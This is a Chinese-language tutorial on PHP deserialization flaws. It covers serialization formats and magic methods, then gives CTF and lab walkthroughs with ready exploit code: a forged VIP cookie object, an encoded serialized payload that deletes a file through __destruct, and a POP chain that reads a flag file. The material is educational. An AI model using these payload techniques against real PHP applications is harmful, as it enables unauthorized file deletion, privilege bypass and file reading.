反序列化是当前较为热门的一个漏洞,主要产生原因是太过信任客户端提交的数据,开发者容易忽略一些安全因素,进而可能会导致可执行任意命令或代码,安全方面的影响较大。

漏洞成因

​ 序列化和反序列化是一种常用的技术,通常用于对象状态的保存和恢复。序列化是将对象转换为可以存储或传输的数据格式的过程,而反序列化则是将这些数据恢复为原始对象的过程。尽管这些操作在多种编程环境中都非常有用,但如果处理不当,也可能成为安全漏洞的来源。

​ 在某些情况下,应用程序在实现如身份验证、文件读写、数据传输等关键功能时,可能会将序列化数据通过网络传输或保存在外部存储中。如果这些序列化数据未经加密或签名处理,或者加密实现不当(例如使用硬编码的密钥,如在Apache Shiro 1.2.4中见到的问题),则这些数据可以被恶意用户读取或篡改。

​ 此外,已知存在安全缺陷的序列化库(如早期版本的Fastjson)进行数据处理,也会增加应用程序受攻击的风险。这些库可能存在缺陷,允许攻击者构造特定的序列化数据来执行未授权的代码或命令。

序列化与反序列化

序列化:把变量或对象转化为可以传输的字节序列的过程
反序列化:把字节序列还原为变量或对象的过程

凡是需要进行“跨平台存储”和“网络传输”的数据,都需要进行序列化。本质上存储和网络传输都需要经过把一个对象状态保存为一种能够被跨平台识别的字节格式,然后其他的平台才能够通过字节信息解析还原对象信息。(一些更加详细的信息可以深入搜索了解一下,本篇大致理解序列化与反序列化的概念即可)

以下是一个序列化的例子:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
<?php
class Sunny {
public $name = "Sunny";
private $age = 66;
protected $sex = "male";
public $im_noob = true;
public $null = null;
public $sites=array('I', 'Like', 'PHP');

public function echo_hi() {
echo "hi noob!";
}
}

$class = new Sunny();
$serClass = serialize($class);
echo "The result after serialization: ";
print_r($serClass);

$unserClass = unserialize($serClass);
echo "</br>" . "The result after unserilization: " . "</br>";
print_r($unserClass);

echo "</br>";
var_dump($unserClass);
?>

执行后输出:

1
2
3
4
5
6
The result after serialization: O:5:"Sunny":6:{s:4:"name";s:5:"Sunny";s:10:"Sunnyage";i:66;s:6:"*sex";s:4:"male";s:7:"im_noob";b:1;s:4:"null";N;s:5:"sites";a:3:{i:0;s:1:"I";i:1;s:4:"Like";i:2;s:3:"PHP";}}

The result after unserilization:
Sunny Object ( [name] => Sunny [age:private] => 66 [sex:protected] => male [im_noob] => 1 [null] => [sites] => Array ( [0] => I [1] => Like [2] => PHP ) )

object(Sunny)#2 (6) { ["name"]=> string(5) "Sunny" ["age:private"]=> int(66) ["sex:protected"]=> string(4) "male" ["im_noob"]=> bool(true) ["null"]=> NULL ["sites"]=> array(3) { [0]=> string(1) "I" [1]=> string(4) "Like" [2]=> string(3) "PHP" } }

执行后结果中存在一些类似”s”、“i”、“b”等字符,这是数据的各种类型,如下:

类型 结构
String s:size:value;
Integer i:value;
Boolean b:value;
Null N;
Array a:size:{key definition:value definition};
Object O:strlen:object name:object size:{…}

从执行后的结果可以看出,不同访问控制(public、private、protected)对序列化的结构也有影响:

public:
序列化后无变化

1
public $name = "Sunny"; -> s:4:“name”;s:5:“Sunny”;

private:
序列化后会变成“%00类名%00属性名”

1
private $age = 66; -> s:10:"Sunnyage";i:66;

protected:
序列化后会变成“%00*%00属性名”

1
protected $sex = "male"; -> s:6:"*sex";s:4:“male”;

PHP中常见魔术方法

PHP中可以定义“类”,在“类”中我们又可以定义很多的变量和类方法,当我们实例化一个类之后,一些类方法可以手工调用,一些类方法会在满足一定条件后自动调用,这种拥有自动调用能力的方法称为魔术方法。

魔术方法 调用条件
__construct 当对象被创建时调用
__destruct 当对象被销毁前调用
__sleep 执行serialize函数前调用
__wakeup 执行unserialize函数前调用
__toString 在对象被当作字符串访问时调用
__invoke 在尝试以调用函数的方式调用一个对象时被调用
__get 获得类成因变量时调用
__set 设置类成员变量时调用
__isset 对不可访问或不存在的属性调用isset()或empty()时调用
__unset 对不可访问或不存在的属性调用unset()时调用
__call 在对象中调用不可访问的方法时调用
__callStatic 用静态方法调用不可访问方法时调用

__construct

1
void __construct ([ mixed $args [, $... ]] )

构造函数是一种特殊的方法,用来在创建对象时初始化对象,即为对象成员变量赋初始值,在创建对象的语句中与new运算符一起使用。

__destruct

1
void __destruct ( void )

析构函数与构造函数相反,当对象结束其生命周期时(例如对象所在的函数已调用完毕),系统自动执行析构函数。

示例:

1
2
3
4
5
6
7
8
9
10
11
12
13
<?php
class testClass {
function __construct() {
print "This is a construct</br></br>";
$this -> name = "SunnyDog";
}
function __destruct() {
print "This is a destruct</br>";
echo "Destroy object" . $this -> name;
}
}

$obj = new testClass();

输出:

1
2
3
4
This is a construct

This is a destruct
Destroy objectSunnyDog

__sleep

1
public __sleep():array

当调用**serialize()**函数序列化一个实例时,会首先检查该实例是否存在__sleep()方法,如果该方法存在,则该方法会先被调用,然后才执行序列化操作。否则使用默认的序列化方式。

此功能可以用于清理对象,并返回一个包含对象中所有应被序列化的变量名称的数组,如果该方法未返回任何内容,则 **null**被序列化,并产生一个 **E_NOTICE**级别的错误。

__wakeup

1
public __wakeup():void

与sleep方法相反,wakeup会在调用**unserialize()**函数时检查是否存在__wakeup()方法,如果存在,则会先调用__wakeup()方法,预先准备对象所需要的资源。

示例:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
<?php
class Sunny {
public $name = "Sunny";
private $age = 66;
protected $sex = "male";
public $im_noob = true;
public $null = null;
public $sites=array('I', 'Like', 'PHP');

public function __sleep() {
echo "This is function __sleep()<br/>";
return array('name');
}
public function __wakeup() {
echo "This is function __wakeup()";
}
}

$class = new Sunny();
$serClass = serialize($class); # 此时会执行__sleep方法
print $serClass . "<br/>"; # 输出序列化后的结果
$unserClass = unserialize($serClass); # 此时会执行__wakeup方法

输出:

1
2
3
This is function __sleep()
O:5:"Sunny":1:{s:4:"name";s:5:"Sunny";}
This is function __wakeup()

Tips:此处值得注意的是,如果我没有在__sleep()魔术方法中填写return的内容的话,由于执行了sleep魔术方法后会对生成的对象清理,那么就无法进行序列化操作,则不会调用wakeup魔术方法,返回的序列化后的内容也变为了N。

image-20240416195422728

__toString

1
public __toString():string

__toString()方法用于一个类被当成字符串时应怎样回应。例如 echo $obj;应该显示些什么

示例:

1
2
3
4
5
6
7
8
9
<?php
class Sunny {
public function __toString() {
return "Oh! This object is regarded as a string.";
}

}
$class = new Sunny();
echo $class;

输出:

1
Oh! This object is regarded as a string.

__invoke

当尝试以调用函数的方式调用一个对象时,__invoke()方法会被自动调用。

1
2
3
4
5
6
7
8
9
10
11
<?php
class testClass {
function __invoke($x, $y) {
echo "The method __invoke() is executed.\n";
return $x * $y;
}
}

$class = new testClass();
$result = $class(2, 3);
echo "The result is:" . $result;

其他的一些

读取不可访问(protectedprivate)或不存在的属性的值时,**__get()**会被调用

1
2
3
4
5
6
7
8
9
10
11
12
<?php
class Profile {
private $data = array('name' => 'Sunny', 'age' => 30);

public function __get($name) {
echo "Attempting to get '$name'...";
return $this->data[$name] . "</br>"; // 返回属性值,如果属性不存在返回 null
}
}
$profile = new Profile();
echo $profile->name; // 输出 Sunny
echo $profile->age; // 输出 30

在给不可访问(protectedprivate)或不存在的属性赋值时,**__set()**会被调用

1
2
3
4
5
6
7
8
9
10
class Profile {
private $data = [];

public function __set($name, $value) {
echo "Setting '$name' to '$value'...\n";
$this->data[$name] = $value;
}
}
$profile = new Profile();
$profile->name = 'Jane Doe'; // 输出 Setting 'name' to 'Jane Doe'...

当对不可访问(protectedprivate)或不存在的属性调用 isset()或 empty()时,**__isset()**会被调用

1
2
3
4
5
6
7
8
9
10
11
class Profile {
private $data = ['name' => 'Sunny', 'age' => 30];

public function __isset($name) {
echo "Checking if '$name' is set...\n";
return isset($this->data[$name]);
}
}
$profile = new Profile();
var_dump(isset($profile->name)); // 输出 Checking if 'name' is set... followed by bool(true)
var_dump(isset($profile->location)); // 输出 Checking if 'location' is set... followed by bool(false)

当对不可访问(protectedprivate)或不存在的属性调用 unset()时,**__unset()**会被调用

1
2
3
4
5
6
7
8
9
10
11
12
class Profile {
private $data = ['name' => 'Sunny', 'age' => 30];

public function __unset($name) {
echo "Unsetting '$name'...\n";
unset($this->data[$name]);
}
}

$profile = new Profile();
unset($profile->name); // 输出 Unsetting 'name'...
var_dump(isset($profile->name)); // 检查 name 是否还存在,输出 bool(false)

当尝试调用的方法在当前类中不可访问(protectedprivate)或不存在时,**__call()** 方法会被自动调用。它常用于实现方法的重载和动态调用处理。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
class Person {
private $data = array('name' => 'John', 'age' => 30);

public function __call($name, $arguments) {
if ($name === 'get') {
$prop = $arguments[0];
return $this->data[$prop] ?? null;
}
echo "Method $name does not exist!";
}
}

$person = new Person();
echo $person->get('name'); // 输出 John
$person->set('name', 'Jane'); // 输出 Method set does not exist!

当尝试调用类的静态方法在当前类中不可访问(protectedprivate)或不存在时,**__callStatic()** 方法会被自动调用。这个方法允许开发者捕获对未定义静态方法的调用,类似于__call(),但用于静态方法。

1
2
3
4
5
6
7
8
9
10
11
class Utility {
public static function __callStatic($name, $arguments) {
if ($name === 'compute') {
return array_sum($arguments);
}
echo "Static method $name does not exist!";
}
}

echo Utility::compute(1, 2, 3); // 输出 6
Utility::save(); // 输出 Static method save does not exist!

PHP反序列化漏洞

php反序列化漏洞主要的成因就是在处理反序列化数据的过程中不当的处理方式导致的危险代码执行。

一个简单的例子:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
class ctfShowUser{
public $username='xxxxxx';
public $password='xxxxxx';
public $isVip=false;

public function checkVip(){
return $this->isVip;
}
public function login($u,$p){
return $this->username===$u&&$this->password===$p;
}
public function vipOneKeyGetFlag(){
if($this->isVip){
global $flag;
echo "your flag is ".$flag;
}else{
echo "no vip, no flag";
}
}
}

$username=$_GET['username'];
$password=$_GET['password'];

if(isset($username) && isset($password)){
$user = unserialize($_COOKIE['user']);
if($user->login($username,$password)){
if($user->checkVip()){
$user->vipOneKeyGetFlag();
}
}else{
echo "no vip,no flag";
}
}

对于本题,经过代码审计后可以看到,我们主要需要通过的验证是checkVip方法,需要将我们传入的序列化后的对象的isVip参数的值赋为true,并且只要还满足了if(isset($username) && isset($password)),也就是说我们需要通过get方法传入任意两个参数。还有一点,我们反序列化的漏洞点在unserialize($_COOKIE['user'])处,因此我们的payload需要通过cookie的user参数传入,exp:

1
2
3
4
5
6
7
8
<?php
class ctfShowUser{
public $username='xxxxxx';
public $password='xxxxxx';
public $isVip=true;
}
$user = new ctfShowUser();
echo urlencode(serialize($user));

传入:

image-20240416212615671

注意:此处的序列化数据是通过了urlencode才传入的,这是因为使用 urlencode可确保序列化数据作为一个整体被传输,不会被任何中间件(如 Web 服务器)修改或截断。urlencode 后的字符串可以安全地添加到 URL 或设置为 Cookie 值,而不会破坏请求的结构或意图。例如,如果直接将序列化字符串设置到 Cookie 或 URL 参数中,未经 urlencode;= 可能会被浏览器或服务器误解为参数分隔符,从而导致反序列化时失败或产生不可预测的行为。

以下是Web Security Academy的例子:

This lab uses a serialization-based session mechanism and is vulnerable to arbitrary object injection as a result. To solve the lab, create and inject a malicious serialized object to delete the morale.txt file from Carlos’s home directory. You will need to obtain source code access to solve this lab.

该LAB使用基于序列化的会话机制,因此容易受到任意对象注入的攻击。 要解决该Lab,请创建并注入恶意序列化对象,以从 Carlos 的主目录中删除morale.txt 文件。 您需要获得源代码访问权限才能完成本实验。

You can log in to your own account using the following credentials: wiener:peter

您可以使用以下凭据登录您自己的帐户:wiener:peter

Steps

拿到目标系统后,先分析系统功能,在这个Lab中可以看出,是一个商店的网站:

image-20240417091915734

那么就先尝试使用题目给我们的账号和口令登陆一下这个网站,并查看一下response

image-20240417094107995

image-20240417094319118

得到的cookie可以看到采用了url编码和base64编码,进行解码后可以看到cookie中存储的内容,是序列化的形式。

通常,在对一个网站测试时,需要先查找该网站上所存在的所有文件,这不仅限于应用程序中存在的文件,还包括站点所有者试图隐藏或意外存在的文件,可以使用一些目录扫描的工具,或直接在burp中也有这一功能(专业版)。

意外出现的文件可能包括备份文件,可能会造成一些威胁,因为它们允许读取通常不提供给客户端但在服务器端执行的文件内容。 Web 服务器通常配置为使用 PHP 解释器运行 .php、.phtml、.php5 等文件,而不将它们发送到浏览器。 对于 .php.bak 或 .php~,这可能会有所不同,这允许攻击者读取代码以查找漏洞。

一般,当开发者在编写文件时,在linux系统中,为了方便备份,一般开发者会选择直接使用指令cp index.php index.php~来对文件进行备份。为什么要使用“~”作为后缀呢,因为它是ASCii表中最高位的可打印字符,当使用这种形式的命名方式时,该备份文件永远会跟在源文件的后面。

此时在burp中可以查找到的文件:

image-20240417095132580

可以看到其中存在CustomTemplate.php,尝试在后面添加一个~

image-20240417095433937

此时已获得源码,对其进行分析。从题目可以知道,本题的目标是从 Carlos 的主目录中删除morale.txt文件(可知路径应该为’/home/Carlos/morale.txt’),并且此时可以看到源码中存在unlink函数,位于析构函数中,可以实现这一功能,构造exp尝试触发:

通过将 lock_file_path 设为 public,你能够在序列化对象后直接修改这个属性,从而控制解构函数 __destruct() 删除的文件。

1
2
3
4
5
6
7
8
9
<?php

class CustomTemplate {
public $lock_file_path = '/home/Carlos/morale.txt';

}
$exp = new CustomTemplate();
echo serialize($exp);
?>
1
O:14:"CustomTemplate":1:{s:14:"lock_file_path";s:23:"/home/carlos/morale.txt";}

同样通过base64和url编码后传到session:

1
TzoxNDoiQ3VzdG9tVGVtcGxhdGUiOjE6e3M6MTQ6ImxvY2tfZmlsZV9wYXRoIjtzOjIzOiIvaG9tZS9jYXJsb3MvbW9yYWxlLnR4dCI7fQ%3D%3D

将cookie替换为我的payload:

image-20240417102448537

image-20240417102713516

PHP反序列化——POP链

反序列化漏洞主要就是在于敏感函数的利用与类重构。POP链也是反序列化漏洞利用方式的一种,两者都需要利用到PHP类中的魔法函数。

一般的反序列化题目,存在漏洞或者能注入恶意代码的地方在魔术方法中,我们可以通过自动调用魔术方法来达到攻击效果。但是当注入点存在普通的类方法中,通过前面自动调用的方法就失效了,所以我们需要找到普通类与魔术方法之间的联系,理出一种逻辑思路,通过这种逻辑思路来构造一条pop链,从而达到攻击的目的。所以我们在做这类pop题目一定要紧盯魔术方法。

pop称之为面向属性编程(Property-Oriented Programing),常用于上层语言结构特定调用链的方法,与二进制利用中的面向返回编程ROP(Return-Oriented Programing)的原理类似,是从现有云心环境中,即一些普通的类函数中虚招一系列的代码或者指令来进行调用,然后根据需求构成一组连续的调用链,最终来达到攻击的目的。

[强网杯2021]赌徒
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
<meta charset="utf-8">
<?php
//hint is in hint.php
error_reporting(1);
class Start
{
public $name='guest';
public $flag='syst3m("cat 127.0.0.1/etc/hint");';
public function __construct()
{
echo "I think you need /etc/hint . Before this you need to see the source code";
}
public function _sayhello()
{
echo $this->name;
return 'ok';
}
public function __wakeup()
{
echo "hi";
$this->_sayhello();
}
public function __get($cc)
{
echo "give you flag : ".$this->flag;
return ;
}
}
class Info
{
private $phonenumber=123123;
public $promise='I do';
public function __construct()
{
$this->promise='I will not !!!!';
return $this->promise;
}
public function __toString()
{
return $this->file['filename']->ffiillee['ffiilleennaammee'];
}
}
class Room
{
public $filename='./flag';
public $sth_to_set;
public $a='';
public function __get($name)
{
$function = $this->a;
return $function();
}
public function Get_hint($file)
{
$hint=base64_encode(file_get_contents($file));
echo $hint;
return ;
}
public function __invoke()
{
$content = $this->Get_hint($this->filename);
echo $content;
}
}
if(isset($_GET['hello']))
{
unserialize($_GET['hello']);
}
else
{
$hi = new Start();
}
?>
  1. 根据源码中的一些提示,可以知道我们所需要的flag处于./flag中,又由于./flag是一个文件,因此我们需要寻找源码中可以读取文件的部分,也就是需要触发到Room类的Get_hint方法,需要设法利用到其中的file_get_contents()函数。
  2. 为了触发Get_hint方法,可以看到Room类中的invoke方法可以实现,invoke方法需要以调用函数的方法调用一个对象才会触发,为了满足这次条件,可以利用Room类的get方法,也就是说$function需要是Room类的对象,在return处即可return Room(),并且参数a可控,我们就可以写为 $this->a=new Room();
1
2
3
4
5
public function __get($name)
{
$function = $this->a;
return $function();
}
  1. 调用get魔术方法的条件是访问一个不存在或无法放的属性时被触发,那么可以看到Info类的toString方法,此处
1
2
3
4
public function __toString()
{
return $this->file['filename']->ffiillee['ffiilleennaammee'];
}
  • $this->file['filename']:尝试从对象的 file 属性(看起来像是一个数组或ArrayAccess对象)中获取 filename 键对应的值。
  • ->ffiillee['ffiilleennaammee']:然后尝试从 filename 返回的对象中访问 ffiillee 属性,并从该属性(看起来应是一个数组或具有数组访问能力的对象)中获取 ffiilleennaammee 键的值。

此处$this->file[‘filename’]应该是new Room(),而后面的ffiillee不存在,因此可以调用到get魔术方法;

重新捋一捋到目前的思路:

image-20240417172128213

  1. 为了调用Info类中的toString魔术方法,需要对对象以字符串的方式调用,再对其余方法中的行为进行审计,可以看看到Start类中的sayhello方法中有echo $this->name的行为,如果$this->name是一个Info的对象,即可触发toString,对于此处来说就比较简单了,Start类中的wakeup魔术方法就会调用sayhello方法,也就是对Start类的对象进行序列化就会触发此魔术方法。
1
2
3
4
5
6
7
8
9
10
public function _sayhello()
{
echo $this->name;
return 'ok';
}
public function __wakeup()
{
echo "hi";
$this->_sayhello();
}

最后,构造exp只需要从推算的过程逆转过来即可:

1
2
3
4
5
6
7
8
<?php
$a = new Start();
$a->name = new Info();
$a->name->file["filename"] = new Room();
$a->name->file["filename"]->a = new Room();
echo "<br>";
echo serialize($a);
?>

image-20240417194354478

image-20240417194753638

看了还有佬的写法相对比较细一些:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
<?php
class Start{}
class Info{}
class Room{
public function __construct(){
$this->filename = "/flag";
}
}
$a = new Start();
$b = new Info();
$c = new Room();
$c->a = new Room();
$b->file['filename'] = $c;
$a->name = $b;
echo serialize($a);
?>

PHP反序列化——字符串逃逸

未写